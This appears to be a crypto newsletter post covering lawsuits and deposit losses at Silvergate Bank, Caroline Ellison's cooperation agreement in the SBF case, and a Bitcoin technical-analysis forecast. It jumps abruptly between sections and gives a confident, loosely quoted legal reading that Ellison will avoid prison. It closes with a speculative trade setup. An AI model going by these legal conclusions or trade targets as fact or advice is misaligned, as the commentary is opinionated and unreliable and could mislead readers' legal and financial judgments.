Since the core issue at the heart of the FTX + Alameda collapse deals with the alleged inappropriate use of funds by Sam Bankman-Fried and other co-conspirators named and unnamed in their capacity as executives and leaders at FTX and Alameda, respectively, it was fair to assume that Silvergate would eventually come under some scrutiny since they were the primary financial institution used by both entities.

However, this is not the biggest issue that Silvergate is facing at the time of writing.

Concerns RE: Money Laundering at Silvergate Bank by Crypto Companies Not Named FTX or Alameda

Curiously, despite widespread coverage by various publications of the class action lawsuit initiated by investors against Silvergate in mid-December 2022, few (if any), took the time to delve into why the class action lawsuit was being initiated.

Fortunately, finding this out requires that we do no more than defer to the press release published on 'prnewswire' by the law firm spearheading the class action.

https://www.prnewswire.com/news-releases/pomerantz-law-firm-announces-the-filing-of-a-class-action-against-silvergate-capital-corporation-and-certain-officers--si-301702308.html (best to get certain things 'straight from the horse's mouth', as they say)

Critically, that press release noted the following:

The above excerpt from the press release informs us:

1. That the complaint, in specific, that the "defendants made materially false and/or misleading statements, as well as failed to disclose material adverse facts about the Company's business, operations, and prospects".

2. The press release goes further to identify exactly what these investors feel Silvergate has 'misled' them about and/or failed to disclose that they gauged to be materially significant. Specifically, the issue is taken with the fact that Silvergate failed to disclose that they did not possess "sufficient controls and procedures to detect instances of money laundering." (which is one hell of a claim to make against a legitimate U.S. financial institution).

3. The investors also claim that they were left in the dark about a money laundering operation taking place on the platform to the tune of over $425 million (again, this is a bombshell).

4. Investors were misled about the potential likelihood of Silvergate facing punitive measures moving forward. In essence, the PR reasons that given what they understand to be true about Silvergate's current and past state of affairs, the likelihood that the financial institution will "receive regulatory scrutiny and face damages, including penalties and reputational harm" is far greater than what Silvergate had projected either explicitly in communications to investors or implicitly through their failure to divulge certain facts that would have allowed the aggrieved investors to better ascertain the financial institution's future outlook.

After all of those bombshells, the press release then goes on to provide more detail about the >$400M+ money laundering figure they alluded to before, stating, "On November 15, 2022, Marcus Aurelius Research tweeted that, 'Recently subpoenaed Silvergate bank records reveal $425 million in transfers from $SI crypto bank accounts to South American money launderers. Affidavit from investigation into crypto crime ring linked to smugglers/drug traffickers.'"

All of This Information Was Confirmed

Unfortunately, no second or third-hand news sources could be consulted in this endeavor to establish a 'ground truth' regarding the salacious claims made in that press release.

Fortunately, this fact did not prevent us from tracking down the firsthand sources alluded to in this press release - which ultimately allowed us to confirm that the claims made in this press release were entirely founded. In fact, there are some additional circumstantial facts that strongly suggest that some large stakeholders in Silvergate may have been aware of these facts months prior.

The relevant sources, links to the subpoena/affidavit in question, etc., are all contained within a thread that the author of this piece published on Twitter.

https://twitter.com/librehash/status/1603885565858189312?s=20&t=VDR2iBS_cG4ArvOt_CRM7Q

The last tweet in the Twitter thread linked above reveals that the class action we've been discussing thus far was actually just one of two class actions initiated by investors that were pending against Silvergate at the time.

When it Rains it Pours

At the time of writing, there are four different class action suits pending against Silvergate in federal court:

The screenshot above only accounts for the class actions that have been filed in federal court. Beyond those, there have been a number of announcements made by other law firms representing different groups of Silvergate investors that have publicly stated their intent to file a complaint against the financial institution at some point in the immediate future.

https://www.prnewswire.com/news-releases/si-lawsuit-alert-levi--korsinsky-notifies-silvergate-capital-corporation-investors-of-a-class-action-lawsuit-and-upcoming-deadline-301714039.html

https://wreg.com/business/press-releases/cision/20221228NY74403/shareholder-alert-the-gross-law-firm-notifies-shareholders-of-silvergate-capital-corporation-of-a-class-action-lawsuit-and-a-lead-plaintiff-deadline-of-february-6-2023-nyse-si/

https://www.prnewswire.com/news-releases/silvergate-capital-corporation-nyse-si-shareholder-class-action-alert-bernstein-liebhard-llp-reminds-investors-of-the-deadline-to-file-a-lead-plaintiff-motion-in-a-securities-class-action-lawsuit-against-silvergate-capital-cor-301713945.html

Each one of these actions specifically identifies the >$425+ million money laundering figure cited in the subpoena published by 'Marcus Aurelius' on Twitter (you can find a link to the original post as well as the court document in the Twitter thread published above).

More Carnage for Silvergate Bank

As if all the above issues weren't enough, market data shows that Silvergate is trading 40% lower today, alone (January 5th, 2023).

At the time of writing, shares in Silvergate Capital Corp. have fallen by >90% in less than a year (dating back to early March 2022).

Obviously, things have been shitty for Silvergate bank lately. But it is worth looking into what's prompted this recent landslide in share price for the bank.

Deposits at Silvergate Fell by $8.1B+

If you've seen recent headlines from publications covering Silvergate Bank's evolving dumpster fire (we're calling it that because that's what its turning to at this point in time), then you've likely learned that mandatory financial disclosures by the financial institution revealed that clients had pulled >$8B+ from the bank over the past 3 months alone.

Is This a Lot? What's the Big Deal?

Without knowing how much Silvergate had deposited at their institution before this $8B+ reduction, we have no way to assess the gravity of this revelation.

Fortunately, Senator Elizabeth Warren painted a concise portrait of Silvergate's state of affairs up to September 30th, 2022, in a public letter she published that was addressed to the financial institution demanding answers to a litany of questions concerning the financial institution's operations, oversight and risk management controls along with a detailed actionable plan for sustainability in the future following the collapse of FTX & Alameda (among other large depositors at the financial institution, such as BlockFi).

https://www.warren.senate.gov/imo/media/doc/2022.12.05%20Letter%20to%20Silvergate%20Bank%20re%20FTX.pdf

Specifically, Senator Warren noted that, "Last month, you issued a statement asserting that, 'as of September 30, 2022, Silvergate's total deposits from all digital asset customer $11.9 billion'".

That quote is accompanied with a footnote reference, which brings us to a press release on Silvergate's site.

https://ir.silvergate.com/news/news-details/2022/Silvergate-Provides-Statement-on-FTX-Exposure/default.aspx

Doing the Math

We know there were $11.9 billion in deposits at the bank on September 30th, 2022. Recent financial data published by the financial institution confirmed this total declined by approximately $8.1 billion.

Quick math here (11.9-8.1), tells us that Silvergate's total deposits stand somewhere in the ballpark of $3.8 billion total. The dollar figure given for the decline in value of deposits at the institution represents a net change, so this deficit also accounts for any and all deposits (not withdrawals; positive cash flow) that were made to the bank.

Thus, it's reasonable to assume that the bank's total deposits (as far as we know) currently stand at circa $3.8 billion (although likely even lower given the recent collapse in the share price of the financial institution).

https://www.ft.com/content/69cd8629-278d-4cd5-a3e7-96d2f6c85f34

Another piece by 'Financial Times' (FT) revealed that to meet withdrawal requests over the past few weeks, Silvergate was forced to liquidate down >$5B+ of their debt securities, resulting in an actualized of over $700M+ from these sales. At this point, Silvergate no longer holds any equity capital.

At the end of September 2022, the financial institution's 'book value' stood at $1.3B.

Other Notable Facts

1. Silvergate has laid off ~40% of its staff

2. Beyond the $3.8B+ in deposits the bank holds, Silvergate was also purportedly carrying $4.6B+ in cash and equivalents at the end of December 2022.

According to the updated court docket, the trial is slated to take place in October of this year (2023), and is estimated to last anywhere between 2-4 weeks.

The next court hearing is scheduled to occur on May 18th, 2023, which will, again, be in New York (SBF is flying from his parents' home in California directly to New York to attend each of these court hearings in person).

In the Absence of a Plea Agreement, SBF is Likely Fucked

What screws Samuel Bankman-Fried in this instance is the fact that Caroline Ellison and Gary Wang have not only pleaded guilty, but agreed to cooperate with federal prosecutors in their pursuit of Sam Bankman-Fried as well.

While the announcement itself came with tons of news coverage, few entities took the time to dissect the nature of the plea/cooperation agreement that was signed by Caroline Ellison. Even fewer outlets made accurate, logical deductions about how this would impact things for Sam Bankman-Fried and his federal case moving forward.

Close-Read of the Caroline Ellison Cooperation Agreement

To shore up these gaps in coverage, we're going to take a direct look at the agreement that was published by the SDNY, which can also be found here at this link (courtesy of CNBC).

See Below:

Please note that the image above hyperlinked to CNBC's publication of the Caroline Ellison's cooperation agreement.

The excerpt above from Caroline's cooperation agreement with federal authorities outlines several directives she must follow in order to successfully fulfill her responsibility under the agreement:

1. "The defendant shall truthfully and completely disclose all information concerning all matters which this Office inquires, which can be used for any purpose"

2. "[Caroline Ellison] shall cooperate fully with this Office, the Federal Bureau of Investigation, and any other law enforcement agency designated by this Office."

3. "[Caroline Ellison] shall attend all meetings requested by this Office."

4. "[Caroline Ellison] shall provide to this Office, upon request, any document, record, or other tangible evidence relating to matters about which this Office or any designated law enforcement agency inquires."

5. "[Caroline Ellison] shall truthfully testify before the grand jury and at any trial and any other court proceeding when requested to do so by this Office."

6. "[Caroline Ellison] shall bring to this Office's attention all crimes that the defendant has committed, and all administrative, civil, or criminal proceedings, investigations, or prosecutions in which the defendant has been or is a subject, target, party, or witness."

7. "[Caroline Ellison] shall commit no further crimes whatsoever."

8. "[Caroline Ellison] shall provide notice to this Office before discussing the conduct covered by the Information with anyone other than this Office, law enforcement agencies designated by this Office, and the defendant's attorney. Moreover, any assistance the defendant may provide to federal criminal investigators shall be pursuant to the specific instructions and control of this Office and designated investigators."

If you're wondering what's "in it" for her, that's explained in the following paragraph in the cooperation agreement (also shown below):

The brick of text above from the cooperation agreement outlines numerous assurances and potential benefits for Caroline Ellison upon the successful fulfillment duties as outlined in this cooperation agreement (*explained below*):

• The DOJ states that they cannot grant Caroline blanket immunity from any future tax-related prosecutorial actions for any of her conduct related to these proceedings, the agreement is careful to note that, "if the defendant [Caroline Ellison] fully complies with the understandings specified in this Agreement, no testimony or other information given by the defendant (or any other information directly or indirectly derived therefrom) will be used against the defendant in any criminal tax prosecution". That quoted statement encompasses the DOJ's promise to Caroline that her expected cooperation will effectively exempt her from facing future criminal prosecution for any and all tax-related crimes she may have committed in her capacity as the CEO of Alameda + working with Sam Bankman-Fried.

• The cooperation agreement also states, "if the defendant fully complies with the understandings specified in this Agreement, the defendant will not be further prosecuted criminally by this Office for any crimes, except for criminal tax violations, related to her participation in (1) a conspiracy to commit wire fraud and wire fraud on customers of FTX between in or about 2019 and in or about November 2022, as charged in Counts One and Two of the Information (2) a conspiracy to commit wire fraud and wire fraud on lenders of Alameda Research between..." and on it goes. Essentially what the prosecution is saying here is that Caroline Ellison need not fear facing further punitive measures against her that are initiated by the Department of Justice as it pertains to practically anything she did in her role(s) at FTX / Alameda.

In laymen's terms, what this all means is that if she cooperates fully and gives the DOJ everything they're looking for on top of helping them obtain a guilty verdict for Samuel Bankman-Fried, she'll be able to walk away from this situation without having to spend a day in any correctional facility.

Obviously, there's some hyperbole here in stating that she can "walk away" from this situation, but when comparing this fate outlined by the DOJ in her cooperation agreement to what she could've otherwise faced, it's safe to assume that Caroline likely considers this that outcome to be as close to 'walking away' as anyone could hope to get after pleading guilty to multiple different federal crimes that carry an aggregate maximum of 110 years in prison.

Can Caroline Really Get Off Scott Free?

Hell yeah.

Federal prosecutors effectively stated as much in the cooperation agreement (almost verbatim).

Check it out below:

Here's the statement we want to key in on from the excerpt above: "This Agreement does not provide any prosecution against prosecution for any crimes except as set forth above."

Confused?

Here's the Translation:This agreement essentially guarantees Caroline protection against prosecution for every crime she may have committed or plead guilty to in connection with these proceedings so long as she faithfully carries out her duties as outlined in this cooperation agreement.

The agreement does go on to note that, "It is understood that this Agreement does not bind any federal, state, or local prosecuting authority other than this Office." But they counter this limitation with a promise to, "Bring the cooperation of the defendant to the attention of other prosecuting offices, if requested by the defendant."

In laymen's terms, the prosecution is essentially saying: We can't provide blanket immunity for the defendant in a manner that extends to all every other jurisdiction, we'd be more than happy to exert our influence to assist Ms. Ellison in resolving any future attempts to levy criminal sanctions against her for her conduct related to these proceedings, assuming the successful fulfillment of her duties as outlined by this cooperation agreement.

The reason for such a generous offer?

She's going to be the nail in the coffin for Samuel Bankman-Fried.

But now that the markets are back, we're going to make sure that we capture every single opportunity out there so that we miss nothing on the price action's ascent from this point going forward.

Taking a Look at How We Forecasted Bitcoin Previously

Below is a look at how we forecasted Bitcoin's price action before the SBF debacle:

https://www.tradingview.com/x/zfZiKf5L/

As we can see, we were expecting Bitcoin to at least touch the overhead horizontal resistance at $22.3k. However, that did not happen, as the price fell sharply downward after the news of FTX's bankruptcy shocked the entire cryptocurrency space.

That event marked the 3rd black swan in just 2.5 years. Those events are:

1. Global Pandemic / Stock Market Crash in March 2020

2. Terra Ecosystem Collapse in May 2022

3. FTX + Alameda Collapse

Despite these setbacks (and the fact that two of them came in the space of 6 months), the price of Bitcoin never dipped much further south than $16k.

https://www.tradingview.com/x/lyeWOOIl/

One could consider those two touches to be indicative of a 'double bottom' (the chart pattern looks like a 'W').

This would be a fair assessment to make since these two touches followed a long-term downtrend in price.

https://www.investopedia.com/terms/d/doublebottom.asp

Here are a few examples of what the chart formation looks like:

https://school.stockcharts.com/doku.php?id=chart_analysis:chart_patterns:double_bottom_reversal

Since then, we've seen the price action break through the former horizontal overhead resistance at $17.2k a few days ago on January 9th, 2023.

https://www.tradingview.com/x/Aq6KoM4D/

Since then, the price has been on a near-vertical trajectory, smashing through one of the overhead horizontal resistance points that we outlined at the $18.8k-19k mark.

https://www.tradingview.com/x/1TYqpF3P/

This breakout was fueled by a 15%+ price burst over the past three days from the time of writing.

https://www.tradingview.com/x/80GCFxiZ/

This is especially remarkable when considering how little volatility was expressed in the price action.

Where is Bitcoin's Price Going From Here?

Now that we're all caught up on what happened, let's see if we can't track down where the price of Bitcoin is going from here.

In order to create this forecast, we're going to start by looking at the next resistance point ahead for the price.

https://www.tradingview.com/x/avpJjgW7/

Resistance Doesn't Mean Guaranteed Stop

As we noted prior, Bitcoin's price blew through two overhead horizontal resistance points as if they weren't even there. And when we look at the current price action for Bitcoin on the daily resolution, it doesn't appear as though this overhead resistance point will serve as a significant impediment to price action going forward.

Momentum Indicators for Bitcoin

For those that don't know, there are two different types of technical indicators that can be applied to any chart's price action in order to gather information for forecasts or understanding about how the price got to where it was at a given point in time.

The other two types of indicators are referred to as 'lagging' and 'coincident'; the latter is rarely used, but we'll get into that later as needed

Each momentum indicator we'll take a look at here is a custom indicator coded by Librehash and disseminated with members of the Discord (sometimes access is given for free if you're in the Telegram at the right time)

Librehash Balance of Power RSI

Brief Review:

1. This indicator is built from the Balance of Power

2. We take the values of the Balance of Power, then apply the RSI extraction to it (14 periods)

3. From there, we smoothed the values over with the Exponential Moving Average (EMA; 9 Periods)

4. Then I threw on an ob/os (overbought / oversold) overlay on the chart, coded in the math logic to bound the range (similar to how RSI has a top range of 100 and lower bound of 0)

5. Took the average of the values over a certain period of time (manually; not via code), then calculated one standard deviation above and below that average to create the ob/os zones for the indicator

6. Added in logic to color the indicator red every time a period ends with the BoP RSI beyond the ob/os range to show an "extreme" in the buy/sell pressure

Main Purpose: To detect buy & sell pressure (very accurately)

Below, is a look at what the BoP RSI is showing us on the daily resolution for Bitcoin:

https://www.tradingview.com/x/brTMkGFU/

As we can see the BoP RSI reading is well above and beyond the RSI-like overlay, which means that the buy pressure is in the extreme range.

Does This Mean That the Price is Guaranteed to Decrease From Here?

No, not by any means. There are many traders that have the mistaken belief that when an oscillator shows measurements outside of the norms reflected by a bounded range (like the purple overlay we see in the chart above), that a reversal is bound to occur due to some sort of invisible market force that seeks 'equilibrium' above all.

However, that is not true. While the indicator itself will likely return within the bounded RSI overlay range, that doesn't mean that the price will follow suit. Sometimes a cooldown in the indicator only means a reduction in the price's momentum (which is expected since this current rate of change in the price is unsustainable), not necessarily that the price will depreciate.

With that being said, let's see what the other indicators are showing us.

Librehash RSI(14)

This is another custom indicator, just like the one before it. This is read just like the regular RSI(14). The only difference here is that the indicator itself (line) changes colors on the basis of whether the exponential moving average of the rate of change of the RSI(14) has surpassed/fell below a slower exponential moving average of the rate of change (if that's confusing, go ahead and check out how the indicator is defined on TradingView underneath the 'librehash' profile).

https://www.tradingview.com/x/cIaDIF4f/

Like the Balance of Power RSI, we can see that the RSI(14) has reached far into the OB (overbought) zone.

The same can be ascertained of the Volatility RSI as well.

Bitcoin on the Weekly Resolution

Since we want to get a better gauge for what Bitcoin will do in the long term, we're going to go ahead and shift over to the weekly resolution to see how the indicators are measuring Bitcoin's price action.

Second Look at the Librehash RSI(14)

https://www.tradingview.com/x/STyuh8cK/

As we can see, the RSI(14) has only recently flipped to 'green', indicating that the current rate of change in the price's momentum has begun to pick up (the indicator is coded to help detect true changes in the price action rather than getting caught in the mix by intermittent whipsaw action).

There's obviously plenty of room for the RSI(14) to grow from where we're at on the weekly resolution, as the indicator is far below even coming close to breaching the 'overbought' range. Some technical analysis theory suggests that the RSI(14) does not dictate a true change in price momentum until it crosses above/below a reading of '50'.

At the time of writing, its currently at 47.58 on our RSI(14).

Let's take another look at Bitcoin so we can assess the last time it's given us this measurement on the weekly resolution.

https://www.tradingview.com/x/pF9agBuu/

Taking another look at the RSI(14), we can see that it has increased steadily from June 2022 to the present (>6 months).

https://www.tradingview.com/x/idoIXkuS/

There have, of course, been periods when the RSI(14) dipped substantially. But overall, the RSI(14) has trended positively from June 2022 to where we are at present. This is notable because Bitcoin has not experienced a stretch of positive RSI(14) movement since March 2020 (following the first black swan we discussed above).

https://www.tradingview.com/x/fga3kAqg/

Of course, we know what happened to Bitcoin's price trajectory from that point.

https://www.tradingview.com/x/sELeu2cY/

As we can see, the price of Bitcoin increased by >1100% from that point going forward.

What's different about this time, however, is that the RSI(14) has shown significant positive divergence over these past 6 months (this was not the case during the March 2020 pivot).

https://www.tradingview.com/x/2hux2jsE/

What Does Positive Divergence Mean for the RSI?

A lot in our case. To refresh ourselves, let's take a brief look at Investopedia's definition of 'divergence' within the context of technical analysis.

https://www.investopedia.com/terms/d/divergence.asp

As shown above, Investopedia accurately indicates that there is 'positive and negative divergence' and that, "positive divergence indicates a move higher in the price of the asset is possible".

In this case, we are indeed seeing positive divergence since the oscillator/indicator has trended upward as the price has declined.

When such divergence occurs on the weekly resolution, we should take it seriously. The larger the time frame, the more substantial the forecast as it pertains to the price trajectory going forward.

Risk/Reward Target

For this forecast, we're going to use the EMA indicators to give us a sense for where we should expect any notable resistance for the price moving forward.

To do so, we plotted the EMA 12,26,50,100 & 200. Currently, the price has surpassed the EMA-12 (purple). It appears it'll blast through the EMA-26. Beyond that, the EMA-50 (gold) is hanging out at around $25k.

So we're going to plot that as our target for our R/R. We'll plot $18.8k as our stop-out point since such a decline would warrant a strong reconsideration of our position.

https://www.tradingview.com/x/vVUPoVGJ/

That's a potential +27.74% reward, with a risk of approximately -5% from where we're at currently. We can live with that R/R for sure (always risk management!)

If we get stopped out, we'll just manage our position from there and decide whether we're going to elect to re-enter or not.